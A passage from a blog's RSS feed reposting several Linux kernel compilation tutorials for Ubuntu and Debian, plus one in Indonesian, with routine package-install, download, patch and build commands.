<p><span class="anchor" id="line-323"></span><span class="anchor" id="line-324"></span></p>
<p class="line862">Please go to the community wiki page for comments, questions and discussion: <a class="https" href="https://wiki.ubuntu.com/KernelCustomBuild">https://wiki.ubuntu.com/KernelCustomBuild</a> <span class="anchor" id="line-325"></span><span class="anchor" id="line-326"></span></p>
<p class="line867">
<h2 id="External information">External information</h2>
<p><span class="anchor" id="line-327"></span></p>
<ul>
<li>
<p class="line891"><a class="http" href="http://www.howtoforge.com/kernel_compilation_ubuntu">http://www.howtoforge.com/kernel_compilation_ubuntu</a> Compile a kernel from kernel.org source in Ubuntu </p>
</li>
</ul>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wakemeat.wordpress.com/90/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wakemeat.wordpress.com/90/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wakemeat.wordpress.com/90/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wakemeat.wordpress.com/90/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wakemeat.wordpress.com/90/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wakemeat.wordpress.com/90/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wakemeat.wordpress.com/90/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wakemeat.wordpress.com/90/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wakemeat.wordpress.com/90/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wakemeat.wordpress.com/90/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wakemeat.wordpress.com/90/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wakemeat.wordpress.com/90/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wakemeat.wordpress.com/90/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wakemeat.wordpress.com/90/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=90&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wakemeat.wordpress.com/2010/03/12/compile-kernel-help-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/938b6c163b3e5d8d2df542200a26ba89?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">em44y</media:title>
		</media:content>
	</item>
		<item>
		<title></title>
		<link>http://wakemeat.wordpress.com/2010/03/12/89/</link>
		<comments>http://wakemeat.wordpress.com/2010/03/12/89/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 18:00:34 +0000</pubDate>
		<dc:creator>em44y</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://wakemeat.wordpress.com/2010/03/12/89/</guid>
		<description><![CDATA[How To Compile A Kernel &#8211; The Ubuntu Way Version 1.0 Author: Falko Timme &#60;ft [at] falkotimme [dot] com&#62; Last edited 11/05/2006 Each distribution has some specific tools to build a custom kernel from the sources. This article is about compiling a kernel on Ubuntu systems. It describes how to build a custom kernel using [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=89&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h2>How To Compile A Kernel &#8211; The Ubuntu Way</h2>
<p>Version 1.0 <br />Author: Falko Timme &lt;ft [at] falkotimme [dot] com&gt; <br />Last edited 11/05/2006 </p>
<p>Each distribution has some specific tools to build a custom kernel from the sources. This article is about compiling a kernel on Ubuntu systems. It describes how to build a custom kernel using the latest unmodified kernel sources from <a href="http://www.kernel.org/" target="_blank">www.kernel.org</a> (<a href="http://en.wikipedia.org/wiki/Vanilla_kernel#Versions" target="_blank">vanilla kernel</a>) so that you are independent from the kernels supplied by your distribution. It also shows how to patch the kernel sources if you need features that are not in there. </p>
<p>I have tested this on Ubuntu 6.10 Server (&#8220;Edgy Eft&#8221;) and Ubuntu 6.06 Desktop (&#8220;Dapper Drake&#8221;). </p>
<p>I want to say first that this is not the only way of setting up such a system. There are many ways of achieving this goal but this is the way I take. I do not issue any guarantee that this will work for you!</p>
<p>&nbsp;</p>
<p><span id="more-89"></span></p>
<h3>1 Preliminary Note</h3>
<p>I prefer to do all the steps here as the <span class="system">root</span> user. So if you haven&#8217;t already created a root login, you should do so now:</p>
<blockquote>
<p class="command">sudo passwd root</p>
</blockquote>
<p>Afterwards, log in as root:</p>
<blockquote>
<p class="command">su</p>
</blockquote>
<p>If you would like to work as a normal user instead of root, remember to put <span class="system">sudo</span> in front of all the commands shown in this tutorial. So when I run</p>
<blockquote>
<p class="command">apt-get update</p>
</blockquote>
<p>you should run</p>
<blockquote>
<p class="command">sudo apt-get update</p>
</blockquote>
<p>instead, etc. </p>
<p>&nbsp;</p>
<h4>1.1 /bin/sh on Ubuntu 6.10 (&#8220;Edgy Eft&#8221;)</h4>
<p>On Ubuntu 6.10, <span class="system">/bin/sh</span> is a symlink to <span class="system">/bin/dash</span> by default. <span class="system">/bin/dash</span> seems to make problems when you compile software from the sources, at least I had that impression. That&#8217;s why I make <span class="system">/bin/sh</span> a symlink to <span class="system">/bin/bash</span> instead. </p>
<p>If you are on Ubuntu 6.10, you should do this now:</p>
<blockquote>
<p class="command">rm -f /bin/sh<br />ln -s /bin/bash /bin/sh</p>
</blockquote>
<p>&nbsp; </p>
<h3>2 Install Required Packages For Kernel Compilation </h3>
<p>First we update our package database:</p>
<blockquote>
<p class="command">apt-get update</p>
</blockquote>
<p>Then we install all needed packages like this:</p>
<blockquote>
<p class="command">apt-get install kernel-package libncurses5-dev fakeroot wget bzip2</p>
</blockquote>
<p>&nbsp; </p>
<h3>3 Download The Kernel Sources </h3>
<p>Next we download our desired kernel to <span class="system">/usr/src</span>. Go to <a href="http://www.kernel.org/" target="_blank">www.kernel.org</a> and select the kernel you want to install, e.g. <span class="system">linux-2.6.18.1.tar.bz2</span> (you can find all 2.6 kernels here: <a href="http://www.kernel.org/pub/linux/kernel/v2.6/" target="_blank">http://www.kernel.org/pub/linux/kernel/v2.6/</a>). Then you can download it to <span class="system">/usr/src</span> like this:</p>
<blockquote>
<p class="command">cd /usr/src<br />wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.1.tar.bz2</p>
</blockquote>
<p>Then we unpack the kernel sources and create a symlink linux to the kernel sources directory:</p>
<blockquote>
<p class="command">tar xjf linux-2.6.18.1.tar.bz2<br />ln -s linux-2.6.18.1 linux<br />cd /usr/src/linux </p>
</blockquote>
<p>&nbsp;</p>
<h3>4 Apply Patches To The Kernel Sources (Optional)</h3>
<p>Sometimes you need drivers for hardware that isn&#8217;t supported by the new kernel by default, or you need support for virtualization techniques or some other bleeding-edge technology that hasn&#8217;t made it to the kernel yet. In all these cases you have to patch the kernel sources (provided there is a patch available&#8230;).</p>
<p>Now let&#8217;s assume you have downloaded the needed patch (I call it <span class="system">patch.bz2</span> in this example) to <span class="system">/usr/src</span>. This is how you apply it to your kernel sources (you must still be in the <span class="system">/usr/src/linux</span> directory):</p>
<blockquote>
<p class="command">bzip2 -dc /usr/src/patch.bz2 | patch -p1 &#8211;dry-run<br />bzip2 -dc /usr/src/patch.bz2 | patch -p1</p>
</blockquote>
<p>The first command is just a test, it does nothing to your sources. If it doesn&#8217;t show errors, you can run the second command which actually applies the patch. Don&#8217;t do it if the first command shows errors!</p>
<p>You can also apply kernel prepatches to your kernel sources. For example, if you need a feature that is available only in kernel 2.6.19-rc4, but the full sources haven&#8217;t been released yet for this kernel. Instead, a <span class="system">patch-2.6.19-rc4.bz2</span> is available. You can apply that patch to the 2.6.18 kernel sources, but not to kernel 2.6.18.1 or 2.6.18.2, etc. This is explained on <a href="http://kernel.org/patchtypes/pre.html" target="_blank">http://kernel.org/patchtypes/pre.html</a>:</p>
<p><i>Prepatches are the equivalent to alpha releases for Linux; they live in the testing directories in the archives. They should be applied using the patch(1) utility to the source code of the previous full release with a 3-part version number (for example, the 2.6.12-rc4 prepatch should be applied to the 2.6.11 kernel sources, not, for example, 2.6.11.10.)</i></p>
<p>So if you want to compile a 2.6.19-rc4 kernel, you must download the 2.6.18 kernel sources (<a href="http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.tar.bz2" target="_blank">http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.tar.bz2</a>) in step 3 instead of kernel 2.6.18.1! </p>
<p>This is how you apply the 2.6.19-rc4 patch to kernel 2.6.18:</p>
<blockquote>
<p class="command">cd /usr/src <br />wget http://www.kernel.org/pub/linux/kernel/v2.6/testing/patch-2.6.19-rc4.bz2<br />cd /usr/src/linux<br />bzip2 -dc /usr/src/patch-2.6.19-rc4.bz2 | patch -p1 &#8211;dry-run<br />bzip2 -dc /usr/src/patch-2.6.19-rc4.bz2 | patch -p1 </p>
</blockquote>
<p>&nbsp;</p>
<h3>8 Links</h3>
<ul>
<li>Ubuntu: <a href="http://www.ubuntu.com/" target="_blank">http://www.ubuntu.com</a></li>
<li>The Linux Kernel Archives: <a href="http://www.kernel.org/" target="_blank">http://www.kernel.org</a></li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wakemeat.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wakemeat.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wakemeat.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wakemeat.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wakemeat.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wakemeat.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wakemeat.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wakemeat.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wakemeat.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wakemeat.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wakemeat.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wakemeat.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wakemeat.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wakemeat.wordpress.com/89/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=89&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wakemeat.wordpress.com/2010/03/12/89/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/938b6c163b3e5d8d2df542200a26ba89?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">em44y</media:title>
		</media:content>
	</item>
		<item>
		<title>Debian-Kernel-Compile-Howto (Kernel 2.6)</title>
		<link>http://wakemeat.wordpress.com/2010/03/12/debian-kernel-compile-howto-kernel-2-6/</link>
		<comments>http://wakemeat.wordpress.com/2010/03/12/debian-kernel-compile-howto-kernel-2-6/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 17:57:58 +0000</pubDate>
		<dc:creator>em44y</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://wakemeat.wordpress.com/2010/03/12/debian-kernel-compile-howto-kernel-2-6/</guid>
		<description><![CDATA[Version 1.1Author: Falko Timme &#60;ft [at] falkotimme [dot] com&#62;Last edited 07/15/2005 In some cases you might want to compile your own kernel that suits your needs better than the standard kernel that comes with your distribution. I will describe how to do this on a Debian Woody machine (a description for Debian Sarge can be [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=88&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Version 1.1<br />Author: Falko Timme &lt;ft [at] falkotimme [dot] com&gt;<br />Last edited 07/15/2005</font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">In some cases you might want to compile your own kernel that suits your needs better than the standard kernel that comes with your distribution. I will describe how to do this on a <b>Debian Woody</b> machine (a description for <b>Debian Sarge</b> can be found <a class="link" href="http://www.howtoforge.com/forums/showthread.php?t=21" target="_blank">here</a>!). Please note that this tutorial is for <b>kernel 2.6 only! </b>A tutorial for kernel 2.4 can be found <a class="link" href="http://www.falkotimme.com/howtos/debian_kernel2.4_compile/index.php">here</a>.</font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Be aware that there is some risk in doing so! For example, it could happen that your machine does not boot properly after you have installed the new kernel so you might be forced to boot from a rescue CD to repair your system. You have been warned! This document comes without warranty of any kind!</font></p>
<p>&nbsp;</p>
<p><span id="more-88"></span></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><b>Kernel-Compile-Howto</b></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">First login to your Debian machine on the command line as root. Install the prerequisites that we need to compile the new kernel:</font></p>
<p><font face="Courier New, Courier, mono" size="2"><i>apt-get install kernel-package ncurses-dev fakeroot wget bzip2</i></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Then go to <i><font face="Courier New, Courier, mono">/usr/src</font></i>:</font></p>
<p><i><font face="Courier New, Courier, mono" size="2">cd /usr/src</font></i></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Then get the latest Linux kernel source (or the kernel source you need) from <a class="link" href="http://www.kernel.org/pub/linux/kernel/v2.6/" target="_blank">http://www.kernel.org/pub/linux/kernel/v2.6/</a>:</font></p>
<p><font face="Courier New, Courier, mono" size="2"><i>wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.8.1.tar.bz2</i></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Unpack the kernel sources:</font></p>
<p><font face="Courier New, Courier, mono"><i><font size="2">tar xjf linux-2.6.8.1.tar.bz2</font></i></font></p>
<p><font size="2"><i><font face="Courier New, Courier, mono">cd linux-2.6.8.1/</font></i></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">It is normally a good idea to take the configuration of your existing (working!) kernel 2.6 as a starting point for the configuration of your new kernel. Usually the current kernel configuration is saved in a file under <i><font face="Courier New, Courier, mono">/boot</font></i>, e.g. <i><font face="Courier New, Courier, mono">/boot/config-2.6.3</font></i>. We will load this configuration and then do the changes we desire. If you do not have the config file of a working kernel 2.6 <a class="link" href="http://www.falkotimme.com/howtos/debian_kernel2.6_compile/config-2.6.8.1" target="_blank">this one</a> might help you.</font></p>
<p><font face="Courier New, Courier, mono" size="2"><i>make menuconfig</i></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Select <i><font face="Courier New, Courier, mono">Load an Alternate Configuration File</font></i> and enter the location of the configuration file of your current kernel (or upload <a class="link" href="http://www.falkotimme.com/howtos/debian_kernel2.6_compile/config-2.6.8.1" target="_blank">my kernel configuration</a> to your machine and enter its path):</font></p>
<p><img height="378" src="http://www.falkotimme.com/howtos/debian_kernel2.6_compile/images/1.gif" width="600" /></p>
<p><img height="205" src="http://www.falkotimme.com/howtos/debian_kernel2.6_compile/images/2.gif" width="467" /></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">The configuration of your current kernel will be loaded, and you can now browse through the menu and change the configuration to suit your needs. When you are finished, save your new kernel configuration:</font></p>
<p><img height="108" src="http://www.falkotimme.com/howtos/debian_kernel2.6_compile/images/3.gif" width="505" /></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Then run the following commands (please note that <i><font face="Courier New, Courier, mono">make dep</font></i> is not needed any more for kernel 2.6):</font></p>
<p><i><font face="Courier New, Courier, mono" size="2">make-kpkg clean<br />fakeroot make-kpkg &#8211;revision=custom.1.0 kernel_image</font></i></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">If the compilation stops with an error, run</font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><i><font face="Courier New, Courier, mono">make clean</font></i></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">and then re-run the previous commands starting with</font></p>
<p><font face="Courier New, Courier, mono" size="2"><i>make menuconfig</i></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Change the kernel configuration where the error occurs. If no error occurs you will find the new kernel as a Debian package called <i><font face="Courier New, Courier, mono">kernel-image-2.6.8.1_custom.1.0_i386.deb</font></i> under <i><font face="Courier New, Courier, mono">/usr/src</font></i>.</font></p>
<p><i><font face="Courier New, Courier, mono" size="2">cd ../</font></i></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Now you have to install some packages that are needed by kernel 2.6. Add the following line to <i><font face="Courier New, Courier, mono">/etc/apt/sources.list</font></i>:</font></p>
<p><i><font face="Courier New, Courier, mono" size="2">deb http://www.backports.org/debian/ woody module-init-tools initrd-tools procps</font></i></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Then run:</font></p>
<p><i><font face="Courier New, Courier, mono" size="2">apt-get update<br />apt-get install module-init-tools initrd-tools procps</font></i></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">If you are asked the following question:</font></p>
<p><i><font face="Courier New, Courier, mono" size="2">&#8220;If you really want to remove modutils type &#8216;yes&#8217;:&#8221;</font></i></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">type <i><font face="Courier New, Courier, mono">yes</font></i>.</font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">It might also be necessary to update packages like bind9, quota, etc. &#8211; depending on your configuration. If you have problems with your existing packages try to get the appropriate package from <a class="link" href="http://www.backports.org/" target="_blank">www.backports.org</a>.</font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Install your new kernel:</font></p>
<p><i><font face="Courier New, Courier, mono" size="2">dpkg -i kernel-image-2.6.8.1_custom.1.0_i386.deb</font></i></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Create a ramdisk of your new kernel (otherwise your system will most likely not boot):</font></p>
<p><i><font face="Courier New, Courier, mono" size="2">cd /boot/<br />mkinitrd -o /boot/initrd.img-2.6.8.1 2.6.8.1</font></i></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">We are almost finished now. Edit the<i><font face="Courier New, Courier, mono"> image=/vmlinuz</font></i> stanza of your <i><font face="Courier New, Courier, mono">/etc/lilo.conf</font></i> and add the line <font face="Courier New, Courier, mono"><i>initrd=/boot/initrd.img-2.6.8.1</i></font>:</font></p>
<table cellspacing="0" cellpadding="2" width="90%" align="center" bgcolor="#cccccc" border="1">
<tbody>
<tr>
<td>
<pre style="font-size:12px;"># Boot up Linux by default.
#
default=Linux

image=/vmlinuz
        label=Linux
        read-only
        initrd=/boot/initrd.img-2.6.8.1
#        restricted
#        alias=1
</pre>
</td>
</tr>
</tbody>
</table>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Run</font></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><i><font face="Courier New, Courier, mono">lilo</font></i></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">to update your boot loader and reboot your machine:</font></p>
<p><font face="Courier New, Courier, mono"><i><font size="2">shutdown -r now</font></i></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">and if everything is ok your machine should come up with the new kernel. You can run</font></p>
<p><font face="Courier New, Courier, mono" size="2"><i>uname -a</i></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">to verify that. Good luck!</font> </p>
<p>&nbsp;</p>
<p><font face="Verdana, Arial, Helvetica, sans-serif"><b><font size="2">Update:</font></b></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">This is an excerpt from an email that <a class="link" href="mailto:%63%68%61%6e%64%72%61%40%65%65%2e%75%77%61%2e%65%64%75%2e%61%75">R (Chandra) Chandrasekhar</a> (thanks a lot for this one!) sent to me regarding the kernel configuration in case you use flash drives and nVidia cards:</font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">&#8220;1. If you intend to use flash drives, de-select the following during <I><FONT face="courier new, courier, mono">&lt;make xconfig&gt;</FONT></I>:</FONT></P><br />
<P><FONT face="verdana, arial, helvetica, sans-serif" size="2"><I><FONT face="courier new, courier, mono">Block Devices -&gt; Low Performance USB Block driver (BLK_DEV_UB)</FONT></I></FONT></P><br />
<P><FONT face="verdana, arial, helvetica, sans-serif" size="2">There is a clear explanation at <A class="link" href="http://linux.usc.edu/pipermail/usclug-chat/2004-december/000111.html" target="_blank">http://linux.usc.edu/pipermail/usclug-chat/2004-December/000111.html</A> and at <A class="link" href="http://dev.gentoo.org/%7edsd/gentoo-dev-sources/issues-current.htm#2.6.9-ub" target="_blank">http://dev.gentoo.org/~dsd/gentoo-dev-sources/issues-current.htm#2.6.9-ub</A> on why this is advisable until further development of the ub module.</FONT></P><br />
<P><FONT face="verdana, arial, helvetica, sans-serif" size="2">I had to</FONT></P><br />
<P><FONT face="courier new, courier, mono" size="2"><I>apt-get install udev hotplug</I></FONT></P><br />
<P><FONT face="verdana, arial, helvetica, sans-serif" size="2">to use the flash drive, but it worked like a charm after that!</FONT><br /></P><br />
<P><FONT face="verdana, arial, helvetica, sans-serif" size="2">2. If you have an nVidia card, de-select the following during <I><FONT face="courier new, courier, mono">&lt;make xconfig&gt;</FONT></I>:</FONT></P><br />
<P><FONT face="verdana, arial, helvetica, sans-serif" size="2"><I><FONT face="courier new, courier, mono">Graphics Support -&gt; nVidia Riva support (FB_RIVA)</FONT></I></FONT></P><br />
<P><FONT face="courier new, courier, mono"><I><FONT size="2">Kernel Hacking -&gt; Use 4Kb for kernel stacks instead of 8Kb (4KSTACKS)</FONT></I></FONT></P><br />
<P><FONT face="courier new, courier, mono"><I><FONT size="2">Processor Type and Features -&gt; Local APIC support on uniprocessors (X86_UP_APIC)</FONT></I></FONT></P><br />
<P><FONT face="verdana, arial, helvetica, sans-serif" size="2">To install the nVidia drivers, I followed the HOWTO at <A class="link" href="http://home.comcast.net/%7eandrex/debian-nvidia/index.html" target="_blank">http://home.comcast.net/~andrex/Debian-nVidia/index.html</A> and compiled the drivers from the Debian packages after applying the <I><FONT face="courier new, courier, mono">vmalloc_reserve.patch</FONT></I> during kernel build.&#8221;</font></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wakemeat.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wakemeat.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wakemeat.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wakemeat.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wakemeat.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wakemeat.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wakemeat.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wakemeat.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wakemeat.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wakemeat.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wakemeat.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wakemeat.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wakemeat.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wakemeat.wordpress.com/88/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=88&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wakemeat.wordpress.com/2010/03/12/debian-kernel-compile-howto-kernel-2-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/938b6c163b3e5d8d2df542200a26ba89?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">em44y</media:title>
		</media:content>

		<media:content url="http://www.falkotimme.com/howtos/debian_kernel2.6_compile/images/1.gif" medium="image" />

		<media:content url="http://www.falkotimme.com/howtos/debian_kernel2.6_compile/images/2.gif" medium="image" />

		<media:content url="http://www.falkotimme.com/howtos/debian_kernel2.6_compile/images/3.gif" medium="image" />
	</item>
		<item>
		<title>Kompilasi Kernel Cara Lain</title>
		<link>http://wakemeat.wordpress.com/2010/03/12/kompilasi-kernel-cara-lain/</link>
		<comments>http://wakemeat.wordpress.com/2010/03/12/kompilasi-kernel-cara-lain/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 17:56:54 +0000</pubDate>
		<dc:creator>em44y</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://wakemeat.wordpress.com/2010/03/12/kompilasi-kernel-cara-lain/</guid>
		<description><![CDATA[1. Update cache repositoryCode: # apt-get update 2. Install paket-paket yang diperlukan untuk kompilasi kernel.Code: # apt-get install kernel-package libncurses5-dev fakeroot wget bzip2 build-essential udev 3. Download The Kernel Vanilla (source kernel) di Kernel.orgCode: # cd /usr/src# wget http://www.kernel.org/pub/linux/kern&#8230;2.6.25.tar.bz2 Buat liat semua kernel versi 2.6, silakan ke: &#60;http://www.kernel.org/pub/linux/kernel/v2.6/&#62;4. Setelah di download trus di ekstrak dan [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=87&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div class="entry">
<div class="snap_preview">
<p>1. Update cache repository<br />Code:</p>
<p># apt-get update</p>
<p>2. Install paket-paket yang diperlukan untuk kompilasi kernel.<br />Code:</p>
<p><span id="more-87"></span></p>
<p># apt-get install kernel-package libncurses5-dev fakeroot wget bzip2 build-essential udev</p>
<p>3. Download The Kernel Vanilla (source kernel) di Kernel.org<br />Code:</p>
<p># cd /usr/src<br /># wget http://www.kernel.org/pub/linux/kern&hellip;2.6.25.tar.bz2</p>
<p>Buat liat semua kernel versi 2.6, silakan ke: &lt;http://www.kernel.org/pub/linux/kernel/v2.6/&gt;<br />4. Setelah di download trus di ekstrak dan bikin sym-link linux:<br />Code:</p>
<p># tar xjvf linux-2.6.25.tar.bz2<br /># rm linux<br /># ln -s linux.2.6.25 linux<br /># cd /usr/src/linux</p>
<p>5. Patching kernel (kalo mau)<br />Patch kernel biasanya klo ada hardware yang blom disupport atau ada vulnerability. Cara patch kernel, misalkan patch kernel dah didownload &lt;contoh:http://www.kernel.org/pub/linux/kernel/v2.6/patch-2.6.25.bz2&gt; silakan lakukan:<br />Code:</p>
<p># bzip2 -dc /usr/src/patch.bz2 | patch -p1 &ndash;dry-run<br /># bzip2 -dc /usr/src/patch.bz2 | patch -p1</p>
<p>Untuk perintah yang pertama, hanya untuk mengetest patch berjalan dengan baik atau tidak (tidak diinstall), klo ga ada error berarti aman untuk diinstall. Atau klo patchnya di arsip pake Gzip:<br />Code:</p>
<p># gunzip -c /usr/src/patch.gz | patch -p1 &ndash;dry-run<br /># gunzip -c /usr/src/patch.gz | patch -p1</p>
<p>Prinsipnya sama aja sih <img class="wp-smiley" alt=":P" src="http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif" /> Lanjuuut&hellip;<br />Oiya, klo mau patch kernel ke yang lebih baru, misalkan menggunakan kernel 2.6.24.3 dan patch kernel 2.6.25-rc8 sudah keluar, tapi versi stable dari kernel 2.6.25 belum keluar, maka harus dipastikan bahwa kita mendownload kernel 2.6.24 dulu (dilarang patch kernel 2.6.24.3 dengan patch kernel 2.6.25-rc8), lalu diekstrak setelah itu baru install patch kernel 2.6.25-rc8. (mudah-mudahan ga bingung, )<br />6. Konfigurasi Kernel baru<br />Ok, sekarang harusnya kita berada pada direktori /usr/src/linux, klo ga yakin jalanin pwd<br />Code:</p>
<p># pwd<br />/usr/src/linux</p>
<p>sekarang kita konfigurasi kernelnya:<br />Code:</p>
<p># make clean &amp;&amp; make mrproper<br /># cp /boot/config-`uname -r` ./.config</p>
<p>Perintah diatas untuk mengkopi config kernel yang terinstall ke config kernel yang baru. Klo sudah jalanin:<br />Code:</p>
<p># make menuconfig</p>
<p>Klo sudah, pilih exit dan simpan konfigurasinya.<br />7. Kompilasi kernel<br />Untuk kompilasi kernel, eksekusi:<br />Code:</p>
<p># make-kpkg clean<br /># fakeroot make deb-pkg</p>
<p>Silakan menunggu, kompilasi dalam proses.<br />8. Instalasi kernel<br />Klo sudah, silakan cek ke direktori /usr/src dan install kernel baru:<br />Code:</p>
<p># cd /usr/src<br /># ls -l</p>
